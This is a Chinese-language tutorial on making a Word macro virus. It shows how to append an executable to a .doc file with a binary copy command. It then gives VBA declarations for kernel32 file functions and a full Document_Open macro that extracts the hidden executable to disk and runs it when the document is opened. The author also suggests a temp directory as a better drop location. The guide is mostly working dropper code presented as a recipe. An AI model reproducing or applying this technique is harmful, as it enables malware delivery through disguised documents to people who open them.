宏病毒执行任意捆绑exe.

宏病毒概念:

宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。

制作流程:

这里用的方法主要是把PE文件接到doc文件后面,然后通过API函数,定位到PE文件位置,最后释放出来并运行,下面详细说明。

一、把PE文件嵌入doc文件中

这个实现起来简单,把要接的exe放到和这个doc文件同一个目录下.运行doc命令:
copy /b xxxx.doc + xxxxx.exe newdoc.doc
这个跟图片隐写技术类似的。

二、创建宏代码,实验功能

我这里用的是office2013,首先打开doc文件,点击界面上的开发工具(如果开发工具没有在界面上,请参考打开开发工具**里面的,而不是建在上面Normal里。
首先:
这里我是把函数声明与一些函数参数声明写在了一个模块里面。
如下图所示:
1)createfile 用于打开文件,该函数vb的声明如下:
declare function createfile lib “kernel32” alias “createfilea” (byval lpfilename as string,
byval dwdesiredaccess as long, byval dwsharemode as long, byval lpsecurityattributes
as long, byval dwcreationdistribution as long, byval dwflagsandattributes as long, byval htemplate as long) as long
2)closehandle 用于关闭被打开文件的句柄,该函数vb的声明如下:
declare function closehandle lib “kernel32” (byval hobject as long) as long
3)readfile 用于从被打开文件中读取数据,该函数vb的声明如下:
declare function readfile lib “kernel32” (byval hfile as long, lpbuffer as byte, byval dwnumberofbytestoread
as long, lpnumberofbytesread as long, byval lpoverlapped as long) as long
4)writefile 用于把读取出的数据写入文件,该函数vb的声明如下:
declare function writefile lib “kernel32” (byval hfile as long, lpbuffer as byte, byval dwnumberofbytestowrite
as long, lpnumberofbyteswritten as long, byval lpoverlapped as long) as long
5)setfileponiter移动文件指针,该函数vb的声明如下:
declare function setfilepointer lib “kernel32” (byval hfile as long, byval ldistancetomove as long, byval
lpdistancetomovehigh as long, byval dwmovemethod as long) as long
6)下面是以上函数的参数声明
public const generic_read as long = &h80000000
public const generic_write as long = &h40000000
public const file_share_read as long = 1
public const file_share_write as long = 2
public const create_new as long = 1
public const create_always as long = 2
public const open_existing as long = 3
public const open_always as long = 4
public const truncate_existing as long = 5
public const invalid_handle_value as long = -1
public const file_attribute_normal as long = &h80

其次:
核心代码功能,就是操作上面的API。
如下图所示:
代码如下:
‘’’c
Private Sub Document_Open()
Dim buffer(114688) As Byte
Dim h, h2, j, i, k As Long
h = CreateFile(ThisDocument.Path & “/“ & ThisDocument.Name, generic_read, file_share_read + file_share_write, 0, open_existing, 0, 0)
‘以share_read的方式打开自身的doc文件
h2 = CreateFile(“d:\exec.exe”, generic_write, 0, 0, create_always, 0, 0)
‘新建一个exe文件准备存放读取出来的数据.
If h = invalid_handle_value Then
Exit Sub
End If
k = SetFilePointer(h, 91136, nil, 0)
‘把文件指针移动到doc文件与exe文件交界处.
Do
i = ReadFile(h, buffer(0), 114688, j, 0)
i = WriteFile(h2, buffer(0), j, j, 0)
Loop Until j < 114688
CloseHandle (h)
CloseHandle (h2)
Shell “cmd /c d:\exec.exe”
‘运行exe文件
End Sub
‘’’
有点API编程经验的人都能看懂的,不需要对VB很熟,我对VB也一窍不通。当然上面的代码很简单,我是释放到D盘,其实都可以释放到临时目录这些,等等。
这里重点说明下,这上面的二个数字。
91136是指你把宏代码嵌入以后整个文件大小
114688代码你嵌入PE文件的大小。
整个的操作步骤的是:先打开doc文件,写入宏代码,这里可能有人要问我写如宏代码后doc文件大小就不知道了,所以你可以先随便写一个数字,在保存一下,查看doc文件大小,修改一下即可,最后在用CP命令添加PE文件。

三、演示效果

打开doc文件,会提示有宏代码,若点击允许,就可以运行。所以宏病毒还是有很有弊端。
如下图所示: